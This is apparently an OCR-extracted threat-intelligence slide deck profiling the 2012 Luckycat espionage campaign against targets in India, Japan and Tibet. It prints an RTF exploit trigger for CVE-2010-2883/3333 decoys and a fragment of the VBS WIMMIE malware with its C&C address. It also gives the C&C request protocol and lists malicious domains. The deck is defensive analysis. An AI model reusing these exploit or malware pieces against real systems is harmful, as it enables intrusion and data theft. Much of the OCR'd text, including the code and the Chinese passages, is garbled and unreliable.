March 2012 | APT Campaign Quick Profile: LUCKYCAT

Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific
targets to maintain persistent presence within the vicim's network so they can move laterally and exfiltrate data. Unliks
indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the
targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking
information to gain profit, APTs are better thought of as cyber espionage.
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LuckyCat

* Organized Cyber-Crime (tracing back to China)
» Targets in India, Japan and Tibet.

* Research facilities belonging to Military, Universities and
Governments

* Areas of aerospace, energy and astronautics.

* The gang behind Luckycat has also been responsible:

- compromising the power grid of at least one country

- foreign ministries and targeting Tibetan activists — both inside
and outside Tibet.



Targeted emails & social-engineered
decoy documents

* Fukishima distaster | Doses measurement
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The INDIAN BMD Program

[A Detailed Inside Information ]

Indian Ballistic Missile Defense (BMD) experiments progressed rapidly after the
Defense Research and Development Organisation (DRDO) convinced the
government on its ability to develop BMD technology in late 1999. India initiated the
program in the light of Pakistan's eschewing of a nuclear 'no first use' policy and
heightened tensions during the Kargil war including a possibility of full scale nuclear
war.

India

* Indian’'s Missilistic
Defense Program
(RMD)
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Insights into decoy documents

* Triggered vulnerabilities

- Adobe Reader—CVE-2010-2883

- Microsoft Office—CVE-2010-3333

 Bug in Word's RTF parser. “pFragments” 's shape
property is given a malformed value

e {\rtf1{\shp{\sp{\sn pFragments}{\sv &xploit codel}}}}
http://downloads.securityfocus.com/vulnerabilities/exploits/44652.rb

* First-stage malware: TROJ_WIMMIE.C and
VBS WIMMIE.SMC


http://downloads.securityfocus.com/vulnerabilities/exploits/44652.rb
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VBS WIMMIE

* Hijack WMI (remote administration service)
* Delete itself. Hidden to Antivirus

ScrFD="0C: "\ DOCT Tem ExeFD="C:\DOCUHE~1%admin’ LOCALS~1\Tenp \Winword. exe"
Sname="http://masterchoice.shop.co/f Ainfo="longjiao"

Set objF530=CreateUbject("Scripting.FileSystemlbject™)

WMILink="winmomts:\%.\root\subscription:"

TrojanName="Microsoft WHI Comsumer Security Event"™

TrojanBunTimer=30000
strtoxt="var pageURL=""&Snams&"';
var addinf='"gRAinfo&""':;
IS0885920ff=et = [161,260,162,728,163,321,165,317,166,346,16%,352,170,350,171,356,172,377,174,381,175,379
(177,261,178,731,179,322,181,318,182,347,183,711,185,353,186,351,187,357,188,378,189,733,1%0,382,191,380,
192 ,340,1595,258,197,313,198,262 200,268,202, 280,204,282 207 ,270,208,272,209,323,210,327,213,336,216,344,
217,366,219 ,368 ,222 354,224 341 227,259,229 314,230,263 ,232 269,234 281 ,236,283,239,271,240,273,241,324,
242 328,245,337 ,248 ,345,24%,367 251,369,254 ,355,255,729] ;
var UnicodeZ2I50 {}:
var I502Unicode = {}:

Tfor{var i=0;i<256:i44) {

UnicodeZIS0O[i]l=i:
IS02Unicode[i]l=i:
}
wvar IS5Clen = IS0B885920ffset.length;
for(var i=0;i<I50Clen;i+=2){
T Unicode2IS0[ISCE85920ff=zet[1] 1=150885920Efzet [i41] ;
ISC2Unicode [ISCEE5920ffzet [141] ]=I50C8E85920ffse [1];
}
var xmlhttp=CreateXMLHttp() ;
var objHostname=GetHostInf () ;
FunFun ()} -



C&C protocol

Register to the C&C

- POST /count/count.php?m=c&n=[HOSTNAME] _[MAC_ADDRESS] _[CAMPAIGN_CODE]
Pulls taskO (info-gathering: ‘ipconfig’, tasklist,
‘systeminfo)

- GET /count/count.php?m=r&n=[HOSTNAME] [MAC_ADDRESS] [CAMPAIGN CODE]GQ.c

Pushes back results (down.cab)

- POST /count/count.php?m=w&n=[HOSTNAME] [MAC_ADDRESS]_[CAMPAIGN_CODE]Q.t

Deletes task and waits for more

- GET /count/count.php?m=d&n=[HOSTNAME] [MAC_ADDRESS]_[CAMPAIGN_CODE]@.c

While 1



C&C Servers

* |dentified by looking up the C&C's URL path In
customers' HTTP data (" trawler™)

cattree.1x.biz charlesbrain.shop.co footballworldcup.website.org
frankwhales.shop.co hi21222325.x.99 bailianlan.c.dwyu.com
kinkeechow.shop.co kittyshop.kilu.org perfect.shop.co
toms.0Ofees.net tomsburs.shop.co vpoasport.shopping2000.com
goodwell.all.co.uk fireequipment.website.org tennissport.website.org
waterpool.website.org clbest.greenglassint.net th123.xoomsite.com
tbdal23.gwchost.com pumasports.website.org tomygreen.0Ofees.net
killmannets.0Ofees.net maritimemaster.kilu.org duojee.info

masterchoice.shop.co jeepvihecle.shop.co lucysmith.Ofees.net



Attackers' Modus Operandi

* Luckycat users connects the C&C server

 Symantec investigation of attacker 43/45 IPs
traces back to the Sichuan Province in China

H:]Hllgll 16: : (14> Connected o BZ s ocal addre
B3Augll 16:97: (B0PB14> Uszser LUCKY

B3Augil 16:35:5° (BBBB14> Closing connection for user LUCKYCAT <@0:28:87Y conn
B3Auglil 16:35:5% {PPRR1S> Connected to . 218 <{Local addre

B3Augil 16:35: (BBBP15> User LUCKYCH ogged i

B3Augll 16: 25 (PPPR15>» Closing co for er LUCKYCAT BB:12:28 ¢

HEI“IH{II 16: T4 COBBR1IG6 > Connected ti B2 .38 Local addee:
B3Augll 16:48: (P9BA16)> User LUCKYCAT guged i

B3Augll 16: - (BOPA16) Closzing cor
B3Augll 16:56: (ABPA18> Connected t
BlAugll CHBBA1LEY User LUCKYC
B3Augll (HBBB18> Clozing cor user LUCKYCAT <P08:29:22 conn
B3Augiil (APAN19)> Connected to 110. .218 (Local addres:

B3fugil (BBA@19> User LUCKYCAT logged in

B3Augil (PBB19> Closing connection for user LUCKYCAT (90:84:44 conn
ﬂfiﬁugll (UMM )) Connected to 118 .18 <local addre

({PABB28> User LUCKYCAT logged is

ction for user LUCKYCAT <PB:B8:B8B conn
{

¥YY <Local addres

|
18
]ll'.i'{# d
|
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Spying on spies

e The attacker used one of its machines as test-
bed installation!

EdL#: PC-201201100959

05 #¥: Microsoft Windows XP Professional
0S hii: 5.1.2600 Service Pack 3 Build 26080
0S & Microsoft Corporation

e Hands on 'down.cab' =i s
0S HafsER: Uniprocessor Free
EmRH A A P
EAfELRER : HrERchE

= " =i ID: 76481-640-8834005-23318

WS 2012-1-10, 7:33:03

 Chinese Installation
FA i VMware, Inc.
TARRIS Vi e Virtual Platform

; ; . TR X86- d PC

viewing cabinet: down.cab ﬂwmf ;grﬁé¢%wm

File size | Date Time | Name [01]: x86 Family 6 Model 42 Stepping 7 GenuineIntel ~3093 Mhz

___________ S BIOS fi: INTEL - 6040000

607102 23.08.2011 15:17:12 | C.tmp ?fj%ﬁf;_ B c‘f;}:}{jé%ﬂ;is -

0 23.08.2011 15:17:12 D.T_ﬂ'lp J%EJJLE% \[-Jevice\Hardzisk\folumel

0 23.08.2011 15:17:12 E.tmp SRR zh-cn; i (chE)

0 23.08.2011 15:17:12 F.tmp WAREMRE:  zh-cn; i (hE)

0 23.08.2011 15:17:12 G.Tmp W%:pa”_ Hi

0 23.08.2011 15:17:12 | H.tmp B T

0 23.08.2011 15:17:12 | I.tmp SR B 2,048 B

1159 23.08.2011 15:17:12 J.tmp B 7TH: 2,003 MB

1970 23.08.2011 15:17:14 K. Ttmp BIAfE: fEft: 45 MB

1608 22.08.2011 151714 M.tl’l‘lp D 3 o i C:\pagefile.sys
Jil WORKGROUP
GRNSH: ik
NEFh I : ZET 273 MR, |

C.tmp -> Directory of C:%
J.tmp -> output of ipconfig
K.tmp -> Output of systeminfo
M.tmp -> Ooutput of tasklist



TOR configured for emailing

« Supermailer and Foxmail-clone for China

D:\Tor Browser jyHZ:

2011-88-20 ©0:30 <DIR>
2011-88-20 ©0:30 <DIR>

2011-08-20 00:38 <DIR= App

2011-08-20 00:38 <DIR= Data

2011-08-20 00:38 <DIR= Docs

28011-08-20 ©0:38 <DIR> FirefoxPortable

2011-08-20 00:38 33,792 Start Tor Browser.exe
1 it 33,792 ¥%

D:\TunnelierPortable 19HF

2012-01-10 ©8:42 <DIR>
2812-61-10 B©8:42 <DIR>

2012-01-16 ©8:42 =<DIR= App

2012-81-10 ©8:48 <DIR=> Data

Z2811-81-17 86:52 46,344 help.html

2012-81-10 ©8:42 =<DIR= Other

2811-081-17 06:53 108,498 TunnelierPortable.exe

2 T 154,834 +%



Explains the social-engineering
emails

Received: from@[74.120.13.132] ppy webl21501.m:
X-Mailer: Yahoma = “v.4 YahooMailWet
Message-I1D: <1326268028.25824.YahooMailClassic
Date: Tue, 18 Jan 2812 23:47:08 -6888@ (PST)
From: Tibetan Refugee Center <reception center
Subject: Fw: Tibetan self-immolations continue
To:

MIME-Version: 1.8

Content-Type: multipart/mixed; boundary="1389]
Content-Length: 214173

NetRange 74.120.13.128 - 74.120.13.143

CIDR 74.120.13.128/28

Name DRTORMNYC2

Handle NET-74-120-13-128-1

Parent DEFAULTROUTE (NET-74-120-12-0-1}
Net Type Reassigned

Origin AS AS13T22

Organization torservers.net (TORSE-2)

Registration Date 2011-04-23

Last Updated 2011-04-23

Comments

This network is used for research
in anonymisation services and
provides a Tor Exit Node to end

USETrs.

hitp:/hwww torservers. net/
Send abuse issues to abuse(@torservers net

RESTful Link hitpe/iwhois arin.netrest/netNET-74-120-13-128-1

See Also Related POC records.

See Also Related organization's POC records.

Ses Alao Related delegafions.




Victims

Index of /54321 ¢ The attaCker .
e s sevees——— JOWNIOaded the list of

[DIR] Parent Directory

[TXT] D244 w1229@.c 20Jan-2012 12:16 14 . . .
[ count.php 29-Dec-2011 10:52 1.2K VI C I I I lS O n I S

[TXT] B2EF_wl229@.c | 20Jan-2012 10:52 24

[1 ‘oo 29-Dec-2011 10:53 88 . .

[TXT] i TT3C7B wl229@.c 20-Jan-2012 12:12 22 I n Stal I atl O n

[1 ¥ 3C7B wl229@.t 20Jan-2012 12:11 1.4K

L] realip 20-Jan-2012 14:37 14

[TXT] - 3B86 w1229@.c 19-]an-2012 01:47 14

[1 M BBBO w1229@.t 20-Jan-2012 14:37 0 .

[1 F805 w1229@.t 20-Jan-201213:01 0 ° T h e I I St CO rreS p O n d S
[1 AD244 w1229@.t 20Jan-201212:11 0

[1 B7A8B w1229@.t 20Jan-201210:02 0

[1 122834 W1229@.t 14]an-2012 06:04 0

5 000 wizae:  20jmaotz 1251 o {0 the content store
[1 35COB2EF w1229@.t 20Jan-201210:29 0

[1 4B6F9 w1220@.¢ 20Jan-201213:56 0

[1 503C7B w1220@.t 20Jan-2012 12:11 0 O n th e ( &(

[1 7A2B wi1229@.t 20Jan-201212:36 0

[1 CCF00 w1229@.t 20Jan-201212:28 0

[1 D0A0834 w1229@.t 09Jan-201211:45 0

[1 iB86 w1229@.t 18-Jan-2012 18:22 0 . . .

[1 0DD_w1229@.t 19Jan-2012 18:27 0 ® D I re Cto ry_ I I Stl n g
[] 27EA9480 w1229@.t 17-Jan-2012 18:59 0

Apache Server at 89757 x.gg Port 80 B

enabled



Attribution

* Registered hundreds of domains
» Attackers' mistake: whois leakage

LYY (a/ (a/

duojee.info clbest.greenglassint.net  bailianlan.c.dwyu.com

-

T
.....

L
L=
M

duojeewei@qg.com 19013788@qq.com dayinok@aqq.com



dang0102@hacking_forum

dang0102 &%®F : 2005-12-20 15:12
A 35 miTAAEEE , RREEEEFREIARET. ERALSETER :
a0 http://www.cve mitre.org/cgi-bin/cvename.cgizname=CVE-2005-2629

iEAR - 2004-11-10

HFEEE , BEERE MRS TS ST — 8. @ INDX RECORDIREI T iR 2 R aufirst data packettfial | A5 Zpacketde
KEE. ZREEE F7data packetf LS REMD | SLEREMTE LT ¢

Media_Packet_Header

{

UINT16 object_version;

if (object_version == 0)

{
UINT16 length;
UINT16 stream_number;
UINT32 timestamp;
UINT8 reserved;
UINTE flags;
UINT8[length] data;

E

}

EEmMPEmtlength. HEHF , UINT16 length B2/ packetfT4€E , UINTS[length] #8285 XThe application-specific media data , EX A2
RiAk. mERRELS  WiZRrealplayfEfEHfirst data packetk BN ESE RN REERZTERSHFITRE , SIFAFSHET | B
Bal , HEMSH T SNSRI ERLGE. ZTREFLHPRAZ—FT , HEMEEH0xE0-—-0xffik gt 2%,

B FE@Ltlength , HEFHRATH. HUINT16 length MRS | BRELREY  BEREEzRx<AREFEArcalpalyiTANREMNEERE
T, MEFERER , $NEEENErRURBENHIE , REERESE  (BRASoftice KiUserExceptionDispatcher@#—EEETTERE ; M
HUINTS[length] FIER FREREUEAHFHE.

o BAERSENRE  BRAVAREHEELERA  ZEdBEhEEiEE. RS BrealplayiE FI0 T REXFIRENE  (EOESE

AmE.
ERAHMEER  RAFELEEATHERNEAE LR LF. HTREAMATLENAR , HilE—g2Ehe.
dang0102 BETF : 2005-12-20 15:14
HM: 35 Cleh s ultNeler So 53441 9013728]

a0
8- 2004-11-10




scuhkr@students BBS

Information Security Institute

E{EA: scuhkr ((RFERF) {BE: Program

1835 ) ARSI (Mon AUE 1 10:05:33 2005), 7S of the Sichuan University
WIAFEERLFRAMELPHARA X (DTHE ) EREEAWEIE, e Recruitment of students for
s attack/defense project
iiﬁ%gggggzjjﬂm . « Articles in hacking magazines

—ENRSRENITENREREE—ENTR , BTCPIPHUCHEF
RitEitE  WRELAAERREERE  ARESNFIEHINERD

AT01im B AR, The other email is associated
TAMEAEL FNEEND , AROAEMERTE. to a similar prof”e

BRAN:
QQ: 2888111

mail: o osced@sina.com scuhkr@21cn.com

miF & AEHElemall,

Hith

HOEWRE |

% B0 scuhkr F Aug 2 15:04:15 BRI [FROM: B %)
* SR A S ER RS Isxk.org [FROM: B 7%



Connected campaigns

from comitatoprotibet2011@gmail.com iy

subject Fw:Self-immolations

to other actions «

12-01-11 10:09 PM

China announces Stepped-up Control 1n Tibetan Monasteries

In the wake of recurring self-immolations inside in Tibet, China has
announced that 1t will step-up 1ts control on the management of
monasteries across Tibet. According to Xinhua, a CCP mouthpiece, senior
officials of Tibet Autonomous Region have pledged to increase efforts to
strengthen the management of monasteries in the 'fight against the Dalai
Lama group’ .

Analysts say that increasing desperation over government restrictions on
religious practice and the absence of any alternative forms of expressing
grievances 1n Tibet are the reasons behind the self immolations that have
taken place over the last year. During a meeting, the Deputy head of the
Chinese People’s Political Consultative Conference-Tibet Committee
announced that the committee will focus this year’s work on strengthening
government management of monasteries.

Us_Seriously ...molations.doc Lama_Sopa_Tul...molation.pdf

E®

* One of the targeted
emaills contained two
malicious file
attachments.



Shadownet

» Targeted Tibetan

,,,,,,, activists
A gme. » Stole secret
aaaaaaaaaaaaa e . ...9  documents from the
<N i Indian government
v vy v vy _
TRl T T « Compromised the

@ Dall Lama's emall



Duojeen

* Targeted Tibetan community
» Shared C&C server: duojee.info

e Similar exploits and dropper

ZedbaccicB320c2ab51clcbedl420 efZe115bEE7TAT20300b3032a0301e28 SE7 a7 74265501808 1e14bdcadbaa albda2e31fefaccElal

(a/

dunjee.

— —
Y rE é
fsoomfcont.php Jturmlf fhollywleount.php 00eGE85e382806c33d0ae7T256{332d93

v

bailianlan.c.dwyu.com

22822817 abb54 T15chbeZ1244bbbAf1f80a01 2228 def3



Maltego

* Visualization platform for

— Open Source Intelligence (OSINT)
- Forensics Investigations
- Incidents Handling

* Used to conduct investigations in general

e Custom plugins interfacing with our backend
Intelligence databases —
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W applesoftupdate. com
& advanbusiness.com

£ 199.15.113.28 E
& staycos.net |
R 161.58.182.205 |
8 204.13.68.4 303 B
il companyinfosite.com 296
ta freshreaders.net 208
) nytimesnews.net 208
fa/ thehealthmood.net 268

ol 68.178.252.115 270
i resadvanced.org
[ dowrload. appleso fupdate. cor
Bant.freshreaders.net 50

|| Eseastfresiveaders.net 50
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